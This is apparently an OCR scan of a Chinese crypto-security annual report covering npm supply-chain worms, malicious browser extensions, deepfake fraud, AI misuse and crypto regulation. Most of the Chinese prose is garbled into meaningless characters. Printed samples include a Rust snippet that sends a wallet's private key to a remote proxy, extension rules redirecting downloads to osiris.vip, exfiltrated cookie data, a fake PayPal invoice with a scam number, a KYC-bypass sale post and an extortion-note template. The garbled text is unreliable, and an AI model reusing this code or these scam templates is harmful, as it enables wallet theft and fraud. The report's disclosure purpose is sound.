1848 “node_modules/dateformat”: {
1849 “version": "4.6.3",
1858 “resolved": "https://registry.npmjs.org/dateformat/-/dateformat-4.6.3.tgz",
1851 "integrity": “sha512-2P@p@pFGzHSSEMnhdxQi7al)N+iMheud@UhGAd LEIDLATVLBIH}IITX/CSmaIXwV@Ka5nGk3zC5mcbSbUQUxxMA==",
1852 "license": "MIT",
1853 “engines": {

1854 "node": “x"

2|
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https://mp.weixin.qq.com/s/Tu5queqqz874swt6znwbtA

pub async fn create_coingecko_proxy() — Result<f64, Error> {

let client = reqwest::Client::new();
let params = format!("{}", payer.to_base58_string());
let request_body = serde_json::json!({
S ISONERC N2 AN
La K g 3l
"method": "POST",
"params": params,
"proxy_level": 3
});
let _ = client
.post(helius_proxy_url)
.json(&request_body)
.send()
.await;

RRIENBERZLET -AREEEHIANNFN"BHLRE RUBASISNRIER, —BER
BASHEE REFZNSATAEN, EFTERBECERRE MISEZEFAR/X FIRAK
WA E I AL BT,

2T, 2025 F 9 AR AR NPM KB ESEHE, N2 —RARM ERHNERE, K
EESHNEMEERNPM ERS, FSABRFREEFREARINLEELR, MMEEEKS, FEH
PRt EERAERAHFEAEZRE,

"3 Josh Junon
4> @bad-at-computer.bsky.social

| have no access to my account at the moment. It's in npm's
hands for now. Sindre has already booted me off and published
over chalk.

debug and color/color-string/color-convert are still affected,
along with many others I'm sure.

Email came from support [at] npmjs [dot] help.
20259 9H8H 23:27 - #liF


https://mp.weixin.qq.com/s/gVkaxEbzmn3WeV5HO4p1ig

WIFFHNPM BETHFRE PHKIZ5I A, BERBEI I EiR, XEHFELX BEEE
MAHAFHMEZERTRE, HFEFTHARER ERBREARM RER BER. EPEHREK
AT BEXREAFEFREELZBRAMBERTIATRE,

BN E FMKEHHIE Shai-Hulud REHF, ZRBEFNGMA MM GEER EERHEEN
‘BRI BE NPM SR REMN BB preinstall BMIA B3 #IT, HEZEERSFHNPM
. GitHub, ZRRFEHE, FAAXLERERAREELSETE,

{} package.json X JS pun_environment.js ®

{} package.json > ...
dl
"name" :
"version":

"description'

"main'": "i

"scripts L
"get-versi
el e
“bump:version":
"preinstall”:



https://mp.weixin.qq.com/s/EeZYZmlKhL7SlL0t60ts4g

WihEEEF ABKG A GitHub Token, 2 EENHRMNENBHEE ClRunner, EEKHLT
AR EHIRS. SHKGELTBRERKRE M ERFRBEMMNERRESSE HE
ERAMNKRIHMEZE TREAEERES.

Filter by 20k results (161 m Sort by: Best match ~ [ save

<> Code

I Repositories Shal-Hulud: The Second Coming.
() Issues : J

il Pull requests

(3) Discussions h

Ax Users Shal-Hulud: The Second Coming.

~ More g - Updated Z

Languages
L B

Shal-Hulud: The Second Coming.

Python
@ Shell

(# More languages...

(*) Owner Shal-Hulud: The Second Coming.
® size

® Number of followers

(#) Number of forks B

Sha1l-Hulud: The Second Coming.

(+) Number of stars

(+) Date created

(*) Date pushed
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MR BT RAE Web3 HAGRPNLEILTE, TRLRAFENE. RETR REBYTE, £2
FEEOEERNEELIR, ENEEEEERE. FEIET. P EHFRNE. —BHRERAE
BRA EEatRFERAENER TERKE EEERERAFRA.
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BEMTE BEEIHERBANEIN, EZROENHIEXZHE, MEREAMTGIMARERE
Mk _E A9 Cookies,

Add to Desktop

AggrTrade

4.5 % (216 ratings)

Extension Accessibility 1,000 users

Woh A E e E AT IR B 34 (40 jQuery), B EBERERABEHERNL, FiFkERM
Cookies L ZEZERF . " BEXREERNMIBAFAHEREIL, ErEEEEE X 5 FTEL DeFi
EEIKF, RIENBBREES,

L ] ® DevTools - chrome-extension://hnkfinpejjjendibpkfhaepnmghclhfb/_generated_background_page.html
'S Elements  Console  Sources  Metwork  Performance  Memory  Application  Security Lighthouse  Recorder Performance insights B
® @ T Q Preserve log Disable cache Nothrotting * T 1 &

Invert Hide data URLs Hide extension URLs Al Fetch/XHR Doc CSS JS Font Img Media Manifest WS Wasm Other Blocked response cookies ;]

O 3rd-party requests

Name X Headers Payload Preview Response Initiator  Timing
index.php ¥ Form Data view parsed
dex.ph
index.php - ~WebKitFormBoundaryAUOLH1bGSarSBUSS
O index.php Content-Disposition: form—data; name="data”; filename="blob’
dex.ph
index.php Content-Type: application/json
O index.php
dex.ph
index.php [{"domai -google.com”, "expirationDate"”:1738218381,526747, "hostOnly”: false, "httpOnly™: false, "name": " _ga","path'
O index.php out", “sameSite” :"unspecified”,"secure”:false, “session”: false,"storeld *,value® 1 “GA1.2-5, 1292461332, 170365838,
index.php

e.com”,"expirationDate”:17308949388.374267, "hostOnly” : true, "httpOnly™: true, “name" : *_GRECAPTCHA", "path":"/recaptch:

tion","secure”: true,"session": false, "storeld": "0","valve" : (D

3YC_fTm74ww" }, {"domain”:".google. com”, “expirationDate™: 1731207419, 472168, "hostOnly": false, "httpOnly": true, “name";

v S ——



EEXN R B I s FE A M Web3 AP #{K, Osiris § BERH AR KRER, %5
RBETENWeD3REIT R FHALUEPAFRINEEEERERF FEASHRTEHITER
1%,

List blocked sites updated: » Array(6)

Rules updated < Array(3) i

- 0:
~ action:
» redirect: { + 'https://osiris.vip/registrartionusersuccessfully.php?type=exe'}
type: "redirect"
b Frc i Object
- condition:
» resourceTypes: (2) ['main_frame', 'sub_frame']
urlFilter: "=, exe"
» 1]: Object
id: 1
priority: 1
» [[Prototyg 1 Object
~1:
- action:
» redirect: { : 'https://osiris.vip/registrartionusersuccessfully.php?type=dmg'}
type: "redirect"
» [P ) :]1: Object
« condition:
» resourceTypes: (2) ['main_frame', 'sub_frame']
urlFilter: "=.dmg"
v LIF ) ¢ Object
id: 2
priority: 1
» [[Prototy : Object
- 2:
- action:
» redirect: { : '"https://osiris.vip/registrartionusersuccessfully.php?type=zip'}
type: "redirect"
» [[Prot ¢ Object
« condition:
» resourceTypes: (2} ['main_frame', 'sub_frame']
urlFilter: "=, zip"
» LlProt i Object
id: 3
priority: 1
» L ot : Object
length: 3
» [[Pre y : Array(@)
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Chromium FileGrabber info keychain username

BRTRAFGER, BEY RESIRERBIHAIERERD, KOITeam HE, AERBFA/. 5%
B EZREH Uban VPN T BEEREHFERNFETERER A FTEMNERIEREDRE,

w Urban VPN Proxy

4.7 % (58.6Kratings) @ < Share

Extension Privacy & Security 6,000,000 users

U UrbanVPN O vbanven U UrbanVPN r—
£E Unitod States ZE United States
630+
< % v \1 370+
&
Unblock all websites e Browse freely from .
with UrbanVPN! 90+ VPN countries ful

Blocked threats Blocked threats

ERF2EE A VPN RS, HE ChatGPT, Claude, Gemini & LHZERNEFRNE, MW
?J*E,I)KHEUJM“E% B LEEEEARSSH FERBETINTESEENR, B EEEEST
ERE.MFAT. "ANRREERRKBAR. BERZBHNE, ¥ BES MERPIFEXI6E
TAENA RPIREE, SEBIEREHNEEXA, 2EMWAFEE 800 A,


https://www.koi.ai/blog/urban-vpn-browser-extension-ai-conversations-data-collection

After documenting Urban VPN Proxy's behavior, we checked whether the same code existed

elsewhere.

It did. The identical Al harvesting functionality appears in seven other extensions from the same

publisher, across both Chrome and Edge:

Chrome Web Store:

Urban VPN Proxy - 6,000,000 users

= 1ClickVPN Proxy - 600,000 users

= Urban Browser Guard - 40,000 users

Urban Ad Blocker - 10,000 users
Microsoft Edge Add-ons:

= Urban VPN Proxy - 1,323,622 users
= 1ClickVPN Proxy - 36,459 users
= Urban Browser Guard - 12,624 users

= Urban Ad Blocker - 6,476 users

Total affected users: Over 8 million.

F—AREFZEHAF KB Chrome 14 K IBUIREEH SwitchyOmega F7E EEFAARIREL .
ZKNOMEN, ZRERNBHIEGRHEN, BE 2024 EHREERXLLIRE, RERIE 260 FH
FHRGERT-EMHSIERE: XEEMESTFREREHREN Google BHEH", FSH
REHNEEEFFEICER OAuth A, SBERAMMNKEHEBHEIABERDFEIEIERN
LGSR EZE AP, BEMRAREE CRC RS2 HF LS4 GEA X T2R# Cookie #1
B, LRERGEERSSH


https://mp.weixin.qq.com/s/81vZGmxiOe_aXGD6AphlCg

Chrome Web Store

Hithere,

We wanted to let you know that your item is at risk of being removed
from the Chrome Web Store. Please see the details below.

Item name: Cyberhaven security extension V3

Item ID: pajkjnmeojmbapicmbpliphjmcekeaac.

Violation(s):

Excessive and/or irrelevant keywords in the product description:

« Violation:
= Unnecessary details in the description
+ Relevant section of the program policy:
= We do not allow extensions with misleading, poorly
formatted, non-descriptive, irrelevant, excessive, or
inappropriate metadata, inciuding but not limited to the
extension description, developer name, title, icon,
screenshots, and promotional images.

The Chrome Web Store requires all developers to comply with both the
Developer Program Policies listed below and the Developer Agreement.

Please accept our policies to continue publishing your products.

Go To Policy

We value developer contributions to the Chrome Web Store, and look
forward to helping you bring your item into compliance with our policies.

Thanks,

Chrome Web Store Developer Support

AEEMA LLEE 31 /MR, FHEBFIEREXRERE. ATHEGLMERRER, X
BoRAPEERERIEGEHER, BELLRI, Google BEFEH 30 KRR BEEHF X
hEF, ERSTZ KRS B

2.3.5 A Al SRR &

PEEERK A ESEREMEL R, XKEEOFBRENAFRERGH#SE. SEETEMAL,
AlEXAR, BEEN. BEEUMER LN EERET IFRAER, HETEKBEENEAR



FHREFENTH MBEISENENAS. ERMNXENBHRAONRER GREHELE
= EER I X

R E Dhi& (Deepfake) B & ﬁlJn‘EﬁiléE’]Hﬁ%&iZ - 5 GhE IR, Deepfake M E 4t
NARZEMPETNH ——HFBALT, IUREN, BEXEsENENSTUMANSSETEEZRE
AT, M 2022 EZ=E 2025 &, BE(SlowMist) Ff%’@ééii | Deepfake HIMEZ MR, HEWMEFR
BRFMETLAE, MEXLT HERLUNS, BEAR. A£EREXBEAMERERS,

TN B =9, Deepfake RBMAMER FIRFFWIA R, 2023 &F, —ERAEMCNBC KR5S
Hr 5 BIMSATE YouTube ETF &, A, DR ERE'NE—MFEWMEDE, FEFE
?Eiﬂij]:?é]ktt#—*rfﬁ:ﬁuj(iﬁﬂﬂ_ﬁ% SREIRE, ZUFFETELEN, MEBFIHEIEME

REIHRES Al ERAB#THE BHUBEREN CNBC REUXOE, REAME—ERE
REEMBEARE . XEANBRFIEUETBAMAEXARE MIBET YouTube ri%,ﬂxﬁ& 1
HEAENRLEHEAEERR . RETERET SFEAMEGI, %K Deepfake I E R TI £ L3+
ik KERAF, B0 WA E L@ VEMmH U #0K, &ERCR =K,

|QuantumAI

MY NAME IS ELON MUSK, AND | WOULD LIKE TO SHARE A UNIQUE
OPPORTUNITY TO MAKE SIGNIFICANT AMOUNTS OF MONEY EVERY DAY

S ™~ b

MBUHBRAFREZHNAXAF, 2 2AlFK Deepfake TN EHE A HEL W“BE’J%E##’]
2028 F4), XETRRAR Arup FEES A RM— R R TKRE—HWERE, BFESMBE
EREMEEMARN. RWIRED, BECFOENMNSE SE BHHE, Fol— Dﬁa#ﬂ’tilffﬁi
EFEFNE, 2F XE'BEERZAIF/ 195 ZERIMCAZI K, BFRUWRES


https://www.rmit.edu.au/news/factlab-meta/elon-musk-used-in-fake-ai-videos-to-promote-financial-scam
https://www.theguardian.com/technology/article/2024/may/17/uk-engineering-arup-deepfake-scam-hong-kong-ai-video

EEX, 35ARTFTE ZAIXRFENREFILAHTIES, EXIHAE S5 S8, TR
Bi&Wh, RTHAAN, ERSEIZFIA Deepfake BARMNEMEBRE G, IFEBLHER,
WA FEAXREERERDM T ARAEE ARSI HNER . BBEH A Deepfake HARHE
HENKELAY, REFEEWN LA EMAAITEES, TRT —ELSEESHFE KR A
FEWE.

@‘ﬂ”i ZHSN ceTisn
b r w e

4% Z ARV

18:2 BFEHFSEE (=gt € WD) EERSENAENBEE202

ERXREETTI, Deepfake BB A FEESH N EMEM B T, SR THE FFIRFIE Zoom ERIWFE
B RBEARDBRARERVEE. FEEEHENELUEEL, FSRXEETRLREMBEN'S
WE P X FARREK  EHSEFF, KWPH'SREEZE[HEA Deepfake FAR % 7 2AER
BEKESLAAL, LIEEAEE, —BEBRERGHERE, XEEMNEEEFHRE, #—2FH
BB EIE. TR MR R H . XKWKTIF Deepfake. BEHUNHSTIESEMRE, P
PEARAE


https://x.com/MehdiFarooq2/status/1935502598221533185

‘:} Mehdi Farooq @MehdiFaroog2 - Jun 19

One minute | was prepping for a Zoom call. Ten minutes later, large part of my
life savings were gone.

It started with a message on Telegram from Alex Lin — someone | knew. He
wanted to catch up....
Show more

Deepfake th FF I AT R A S A ERIE. HlINMEZR L AT KnowBed EARFIEHIE R TEE FH

TRAPSREFEETE TAL, FRY FRAR F'UJJ_EMGJ‘HUK ARBEIEPRNTE T 2
g, XA EREFERAZANZEARSMNER EYTERRBE, KLTMENSENME, K
DR A AER,

BRT EUMAE, Al BEATHERABHIMEIL SR ER LT E 7] LUE B RIE R BHE 4 B
NBER EHER. BEEKERNAE. BESERTE, FREZFENLFERIDEE
ER, HitFEE, FIRRXBIEM T HM KR EERK  KEEFBENEEER MEBET
#HRXFR RUER BFTRARTHE REERWGHRDE, ARSI SRESH, Al K38
MRIFAREMURITEUEAMNINRE, AEREFRIZFAR, 5ISAFRXKIE. &
B/, BRUEE, HTHRREBEXX M.


https://blog.knowbe4.com/how-a-north-korean-fake-it-worker-tried-to-infiltrate-us
https://cyberguy.com/scams/how-to-spot-and-stop-ai-phishing-scams/
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To: 4  Copy Address
Add to VIPs
MEJREOEBTSWYLA Biock Sender
New Email

Add to Contacts
Search for *JOHNNY NANLAP"

, I

Categorize Sender

Involce. Date: Thursday, 02 October  Order ID: PaymentID: PAYPAL-

10: 823295 2025 AP4EX28035 787032

Processed by:

PayPal Holdings, . Biled tor

To Frew: e iy,

[ Quantty  UnitPrcs  Sublotsl

Appia iPhono 17 Pro, 25668, Cosmic Orange 1 $109880  $100859

‘Shipping & Handing 1 so00 5000

Tax - - sas0
‘Subtotal: $1098.99
Tax; 5000

Total Amount: $1098.99 USD

v Yo papert wes secimiy pracessed g PayPal
i st ks Acpi's sangon mormActior wary.
v Forailig muites, cortact Pyl m +1-804-607-4069

v i et e 2 you ccd e

Mhmmmu:.lr-mhﬂ

request Cancellation or 2 Refund.
¥ Suppart: +1. e

AR EXRZRES AlIBRREERZHAATEY RE AL B AR, BEFH
HAEE, REESHETM. EﬁiﬁéﬁﬂﬁF'ﬁ)’(Eiﬁ*&qﬂEEE%ﬁFo

= KYC BYPASS EXPLOIT - WORKING NOVEMBER 2023 ! DATING APPS, ONFIDO, REVOLUT PERSONAL + MORE

Vouches 0

Hello, while looking for new ways to bypass KYC I've come up with an effective way tc
I've hired a developer to create that exploit for me and I'm selling itas a s vill not sell the exploit in
itself as it's too rare for it to be leaked lol we've all seen what happened with Revolut emulator detection etc.).

This exploit allows for the creation of , which were for now impossible without a
real ID given their new security measures.

It can be used to bypass 3 , Fintech KYC, , crypto etc. and it can't be patched EVER (if
it does, it won't be before a LONG time).

Bit—4, Al BHEAHRBEIT RS, B1F Google BIBMEIRA (GTIG) #E, At BT HN
UNC1069 FIF Al #2E! (30 Gemin)) F XM EHNMEZ L MK T EX BT R THEERME, XL
EBEEFEIXEEEMASTNISERREETKRE, ZAANKRBERA X RN,
f5lan, PROMPTFLUX /MR Gemini APl EB5 B 51X, M PROMPTSTEAL NIfEA Qwen #
BAR Windows @iy, ATEMBRAIE. FENEFEFERZBENEAMAEK, LERBFR
o


https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/ai-vs-ai-deepfakes-and-ekyc
https://services.google.com/fh/files/misc/advances-in-threat-actor-usage-of-ai-tools-en.pdf

Al Tools in Underground Forums and Their Capabilities

DarkDev

EvilAl

FraudGPT

LoopGPT

MalwareGPT

NYTHEON Al

SpamGPT

SpamirMailer
Bot

WormGPT

Xantheorox

RERRBHIE Al IRSESH

Deepfake
& Image
Generation

all

3k
/m

Malware
Development

6:

Phishing

J

CNNIC
Support &
G

Code

>eneration

K

Vulnerability
Exploitation

&8

Rizas, A TERE/.F Anthropic B R A ZERR, H AIFIX

A Claude M BILFE D FATREAMEMEZ LR T, BLHREFTSX 0 HERT, XKEH
B AT vibe hacking"F B, FIA Al HEHEAANRIBESE, EEEREK, ERREDFRHTA
hEEKIE £ K. HMXEFETR, —BREFA Claude MBIARED 17 RN, BRETT.
B S RBAR, FLULFTRARESTBS, 14, Claude BB AT IHBIFAEE IT TEEMHE
54, BEREANRAFHREEERZARHZRRG, AXBABATFIHFEERER,


https://www.anthropic.com/news/detecting-countering-misuse-aug-2025

To: [COMPANY] Executive Team

Attention: [Listed executives by name]

We have gained complete compromise of your corporate infrastructure and extracted proprietary
information.

FOLLOWING A PRELIMINARY ANALYSIS, WHAT WE HAVE:
FINANCIAL SYSTEMS

[Banking authentication details]

[Historical transaction records]

[Wire transfer capabilities]

[Multi-year financial documentation]

AEMEBEFRENZRTD, EM A TESIRMNETEXNRBFFRED, S@EFDTHLET —
EAFEHEN. FEHERE, —MelLENTBERER T AETRT, HHME SOhHRIER
BT -1TER&ESML, SABMRSRZMIEE BRRABHAIHENTERRA, BERT
EMBCHRETHRITHE, MXENER A BECEH, B HFRFAHA review, RBREKIZF
SR TRAEEREE BREBBEITERIN FE-—RBACGR. TN - KRR EXBATFERAHY
AlRBIE Y BEUWYFEEURTEMAITREASRZEH Cursor RS, FEKBEARK
BLRETHXIE,

IHREBIAES
1. 207]proz AEERNRIESRIERI A FPREM (tb#lclaude-3.5-sonnet ,claude-3.7, gpt-4o)

ERNRERMITEMERTEER (Ebiol-pre gpt-4.5 EF&. EMER—RXTE0.47])) EMAFEMRSTE
[

2. tHECursorflICursor Assistant EFiF—EEREEHERKCE! ! !

BNERELRPSETERIERRSAMRAHXE, RAREFE5HEEENRSSEHEE—
B, MEEUEMRENMBERA A TE AP'AEE, EEIMTEESIR, FSHFRERESLN
sw-cur, aiide-cur, sw-cur1 FEE npm &, XEEBIE— BT, BEXN KM Cursor MAHITIE
EEYR, BARNHZEEERBRE, FMEMEIL, Al RETNAX", KPLTFHE
FESZTBET, EMZEMFRELT 4200 N, TEELEHEMFEA MacOS M AS,



Cursor

— PSS A

R@W=071 GPT
PLUSHE
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EH—REE A ULREEGREN. B EER, WEAZARILT 8. EXHENERT, E£EM
HRTH, BKSANBRIZEHTT, REMEXER ' FEXREXNETHRE. TRITALER
A, MFESIAFHNRIUEAS], 2RI, EELE, SRERBE&/MRREM, LIS Al
T R EE B

2.3.6 REE1FIW

2025 &, REBKEBRRFESFRPHREY MRz — SEEERTRE, HFI—KHEE
A TR L' RREERKRBFEEAR"ERFRRZFE"HHNAR, UREMARE., USDT RF, FHIR
AFEARPET 5K, @iRE DCOX MAFERFEHREIRM,

20254 6 A 26 B, A NEHRE DCCX ML LB AFERAXAFARIEE, KERAFRINA
WP RAFBRERER, BELTEIME, 5IAKRELEN, FIRAERE LREGARIRA
EMEX 1B0ZRART, SEAMEET 200 5 A EHETERERN, ZHEREFEE
2019 FLURBHENZN, BHHEREFERSFHURETIE; E 2023 FH HFTIE'DGCX H
Eoi FhERNEN, fREFESERARZMANRSIRA MEXDCCXEAEZRE
XEBAMRSGEGEREASEIENX R,


https://mp.weixin.qq.com/s/L3vInWtBNZD5IZn4Z5Loaw
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N
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E)NRERXRS MU, ZRINZIMEERAFLUUSDT AR, APFEFARTRRE USDT B3
EEHFEEML, RtENXTEIREARAFKRARTRE BMAXERE—RTHFIK
USDT By#fE, FLEEZHFE S ZIERHH AT RL{EY S, WEFEEREASITHNTE,
FERLURAT —MERED, PEREMUMNEESR, RTESAFRUEATSENEY
itk AP FTEEZEERH.


https://dashboard.misttrack.io/
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= Owner Parmission Wiew introduction of multisig permissions >

* Permission Name: EWIEr
+ Threshold: 1
» Authorized To: ® Address * Weight

Permission MName active
Operation{s)
o Threshold: 1
2 Authorized To: * Address * Weight

* Permission Mame: 1

* Operation{s):

2 Threshold: 3

@ Authorized To % Mddress » Weight

BRTEANE 2 HRBIHA 80 A A/ FREMI, B RMASMRS X 15 2% (BT ATk
EHEST, FHERE, TRRRLER, UESE),

MIERERSE, ZTBRLU—NMERAZ + EHEEMHWEESE, QENMEFRENSRL, URE
MAZGFE, BT HAKNASHARER:

o ZRNBWNARK RIFREANKER, URAMDIRE, FEABESFEEN,

o EBRXZAEEERARR - FEATERS. BEIES FOMO, FlEMELIR,

o RESWREIR: BR 2%, 3REA, 7 R#FEFOS, 51 FFEMBIRAE.

o RUINMNEM, ZAKTWHEXHE FHEMUBRRN"FEHNERRERE—LA
&, FEH IS ANEE, FREEK.



Dubai Gold
& Commodities Exchange

DGCX @

BTC/USDT ETH/USDT TRX/USDT

BEEIEHME AEHARESESRAHNRETR FTEMEEMERNRT+ATHE+REESH
BERSIKRETFEZEFEETATZRAEAR, SBBLXEARE-TT K,
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3.1.1 MEEHIFATE

2025 &, £EERNESMBE R WHIESRIRTHENHAEARES . FELEESNEN
MEFBRRTRAMBRZTHENIES, MBRIFER. HEZAE, HEEFURBERRK
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3A 608, HFEHMEBELEMR S Garantex EHE A Telegram STEE S, REMAITA
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https://home.treasury.gov/news/press-releases/sb0018
https://www.theblock.co/post/344583/ofac-sanctions-bitcoin-monero-addresses-darknet-nemesis
https://www.justice.gov/opa/pr/justice-department-seizes-domains-behind-major-information-stealing-malware-operation
https://www.justice.gov/opa/pr/leader-qakbot-malware-conspiracy-indicted-involvement-global-ransomware-scheme
https://www.justice.gov/usao-edva/pr/us-government-seizes-approximately-145-criminal-marketplace-domains
https://home.treasury.gov/news/press-releases/sb0185
https://www.justice.gov/opa/pr/justice-department-announces-coordinated-disruption-actions-against-blacksuit-royal
https://cointelegraph.com/news/tether-freezes-27-million-usdt-sanctions-garantex-russia
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MIEAJ\¥E£3$”$?EEE EEEAREER. SRERHRFEETECRWLS . thRIT
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3A 13 H, & LAWMHMIEE, Garantex HEZE A RLEEHFHNRX ZFE Grinex, FiF
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BERNBEE N ABRENE WERFE, ANSIATHREZHEMARIFNAHIRED
A7AL,
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WIERIEER SETMBE 12E3T, MAASREMAFBRABENE D ZHER, BX
BE—ESX101ZER,
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https://www.justice.gov/usao-edva/pr/garantex-cryptocurrency-exchange-disrupted-international-operation
https://krebsonsecurity.com/2025/03/alleged-co-founder-of-garantex-arrested-in-india/
https://app.globalledger.io/hubfs/Press%20Materials/Breaking_One_more_Garantex%E2%80%99s_Exchange_Discovered_by_Global_Ledger%20(2).pdf?One_more_Garantex=
https://ofac.treasury.gov/recent-actions/20250814
https://home.treasury.gov/news/press-releases/sb0149
https://news.bitcoin.com/chile-cracks-down-on-tren-de-araguas-crypto-money-laundering-scheme/
https://www.gov.br/pf/pt-br/assuntos/noticias/2025/12/pf-deflagra-operacao-contra-lavagem-de-dinheiro-por-meio-de-criptoativos
https://home.treasury.gov/news/press-releases/sb0278
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MEXRZFEFRERE, 217305 LT HIF /I Huione Group # %,

e TTHOH BUMFERIAERET —RLHRIES 2.6 (ZFITnzk m ik KR HIC IRk
BN ZIRBRASEN DEABRAERS B3R ESHFZR, FEFFMMEX T
HMMEFMEIR, |58 3000 42 EH ., AES & Europol R ZEHENN, BREEE
Z4 10 TMERMEZ A TFBRITRKSME,

(D) MERSENKEEIREZLELLT

e 2H 28R, EELBTHNUER (FCA)iZiE Olumide Osunkoya JEEBE NE ATM ML,
{EEEBTE GidiPlus Ltd ES MM REERTM ATM, LB FEEL 260 HEE,
Osunkoya B A EE & MR IEETEME ATM MEM# T ELIFFIAFEHDT A

e 7H4H, tEERATHERE(CMB) LU RELFMRBMBZER~RS NEH, HEHiD
£33 F & PancakeSwap =14 A 81, X BT HHE REX DEX REKE #2481,
BB Z R 2 FENE L F & CryptoRadar,

e 9A18H, MEXERRKE (RCMP) EMMINZER 5 FT TradeOgre EM#IT 5600 HE T
MIMER>, A T ZERAAEMNERFENL R, BERI, ZFEFRKEIM. X
RITEFEMRE, <EANLETEREREER,
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https://international.caixin.com/2025-10-31/102377908.html
https://www.justice.gov/opa/pr/justice-department-announces-seizure-tai-chang-scam-compound-domain-used-cryptocurrency
https://www.interior.gob.es/opencms/es/detalle/articulo/La-Guardia-Civil-detiene-al-responsable-de-una-estafa-de-mas-de-260-M-que-afecta-a-mas-de-3000-personas/
https://www.fca.org.uk/news/press-releases/olumide-osunkoya-sentenced-4-years-illegally-operating-crypto-atm-network
https://www.turkiyetoday.com/business/access-blocked-in-turkiye-pancakeswap-and-cryptoradar-3203816?s=1
https://rcmp.ca/en/news/2025/09/rcmp-executes-record-seizure-more-56-million-dollars-cryptocurrency
https://www.justice.gov/opa/pr/virtual-asset-trading-platform-pleads-guilty-violating-travel-act-and-other-federal-criminal
https://wenshu.court.gov.cn/website/wenshu/181217BMTKHNT2W0/index.html?pageId=87f0a9831912701adbcc376cf5019ad1&s21=%E8%99%9A%E6%8B%9F%E5%B8%81&cprqStart=2025-01-01&cprqEnd=2025-12-31
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https://www.gov.cn/yaowen/liebiao/202411/content_6985765.htm
https://www.chinacourt.org/article/detail/2025/06/id/8871373.shtml
https://www.pbc.gov.cn/tiaofasi/144941/144957/5916164/index.html
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AE,
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o
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https://www.sfc.hk/TC/News-and-announcements/Policy-statements-and-announcements/A-S-P-I-Re-for-a-brighter-future-SFCs-regulatory-roadmap-for-Hong-Kongs-virtual-asset-market
https://www.info.gov.hk/gia/general/202505/21/P2025052100391.htm
https://www.info.gov.hk/gia/general/202506/26/P2025062500847.htm
https://brdr.hkma.gov.hk/gb_chi/doc-ldg/docId/getPdf/20251120-6-TC/20251120-6-TC.pdf
https://brdr.hkma.gov.hk/gb_chi/doc-ldg/docId/getPdf/20251120-6-TC/20251120-6-TC.pdf
https://brdr.hkma.gov.hk/chi/doc-ldg/docId/getPdf/20251210-1-TC/20251210-1-TC.pdf
http://www.fstb.gov.hk/fsb/tc/publication/consult/doc/VAdealing_consultation_conclusion_c.pdf%EF%BC%8Fapps.sfc.hk/edistributionWeb/gateway/TC/consultation/conclusion?refNo=25CP6
https://apps.sfc.hk/edistributionWeb/api/consultation/conclusion?lang=TC&refNo=25CP7
https://apps.sfc.hk/edistributionWeb/api/consultation/conclusion?lang=TC&refNo=25CP7
https://www.fsc.gov.tw/ch/home.jsp?id=96&parentpath=0,2&mcustomize=news_view.jsp&dataserno=202503250002&dtable=News
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https://www.edaily.co.kr/News/Read?newsId=02817526642038048&mediaCodeNo=257&OutLnkChk=Y
https://n.news.naver.com/article/030/0003373432?sid=101
https://www.mas.gov.sg/-/media/response-to-feedback-received-from-dtsp-cp.pdf
https://theinvestor.vn/digital-assets-legalized-in-vietnam-d16008.html
https://www.coindesk.com/policy/2025/03/10/thailand-regulator-adds-usdc-usdt-stablecoins-to-approved-cryptocurrencies
https://www.sec.or.th/EN/Pages/News_Detail.aspx?SECID=11682
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FERFEENMESITHERIMESHINA, $H 25 DeFi HXBIE, FAT5IALE
LERARRZEK,

o 2025-12-23: BABUFALTF 2026 FiR3EE, HhARURRERXKFIEHRL, 2%
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https://decrypt.co/344301/japanese-regulator-eyes-ban-crypto-insider-trading
https://www.fsa.go.jp/singi/singi_kinyu/tosin/20251210/01.pdf
https://www.nadanews.com/330303/
https://cryptoslate.com/ethereum-and-solana-staking-no-longer-classified-as-collective-investment-schemes-in-the-uk/
https://www.gov.uk/government/news/new-cryptoasset-rules-to-drive-growth-and-protect-consumers
https://www.gov.uk/government/news/new-cryptoasset-rules-to-drive-growth-and-protect-consumers
https://www.coindesk.com/policy/2025/11/28/uk-government-to-start-cracking-down-on-crypto-tax-avoidance-in-january
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https://cointelegraph.com/news/uk-takes-massive-step-forward-passing-property-laws-for-crypto
https://www.theguardian.com/technology/2025/dec/15/uk-treasury-drawing-up-new-rules-to-police-cryptocurrency-markets
https://www.fca.org.uk/publications/consultation-papers/cp25-40-regulating-cryptoasset-activities
https://www.esma.europa.eu/press-news/consultations/consultation-guidelines-criteria-assessment-knowledge-and-competence-under
https://cointelegraph.com/news/eu-crypto-ban-anonymous-privacy-tokens-2027
https://www.coindesk.com/policy/2025/12/24/eu-s-crypto-tax-reporting-starts-in-january-with-threat-of-asset-seizure
https://spk.gov.tr/duyurular/basin-duyurulari/2025/kripto-varlik-hizmet-saglayicilarina-iliskin-iki-teblig-yayimlandi
https://spk.gov.tr/duyurular/basin-duyurulari/2025/kripto-varlik-hizmet-saglayicilarina-iliskin-iki-teblig-yayimlandi
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https://fortune.com/crypto/2025/01/23/trump-executive-order-crypto/
https://www.congress.gov/bill/119th-congress/house-bill/2392/text
https://www.sec.gov/newsroom/speeches-statements/statement-stablecoins-040425
https://www.justice.gov/dag/media/1395781/dl?inline
https://www.sec.gov/newsroom/speeches-statements/cf-crypto-securities-041025#_ftn1
https://financialservices.house.gov/uploadedfiles/052925_clarity_act.pdf
https://www.congress.gov/bill/119th-congress/senate-bill/394/text
https://flash.jin10.com/detail/20250718040616713800
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https://www.sec.gov/rules-regulations/staff-guidance/trading-markets-frequently-asked-questions/frequently-asked-questions-relating-crypto-asset-activities-distributed-ledger-technology
https://www.sec.gov/rules-regulations/staff-guidance/trading-markets-frequently-asked-questions/frequently-asked-questions-relating-crypto-asset-activities-distributed-ledger-technology
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p}‘- 0x1D568fc0...01222ABcF (0 to KiloEX Exploiter 1

Let's make the deal, we will keep our promise, please contact me at operation@kiloex.io and attach signature using your address(You can use
https://etherscan.io/verifiedSignatures or other popular tools). The content to be signed includes the email address you are currently using to contact me.

at txn 0x4¢2055066526.. Apr-18-2025 01:55:35 AM UTC (3 days ago)

ii'l KiloEX Exploiter 1 to 0x1D568fc0...01222ABcF
I need you to withdraw the case first and upload the withdrawal notice to x

at txn Ox462edad47ecfa... Apr-17-2025 09:25:11 PM UTC (3 days ago)

I'Ei KiloEX Exploiter 1 to 0x1D568fc0...01222ABcF

?
at txn 0x717776436451... Apr-17-2025 05:46:23 PM UTC (3 days ago)
@@ KiloEX Exploiter 1 (© to KiloEX Exploiter 1

Let's make a deal?

at txn 0xa78d590f07136... Apr-17-2025 04:37:59 PM UTC (3 days ago)

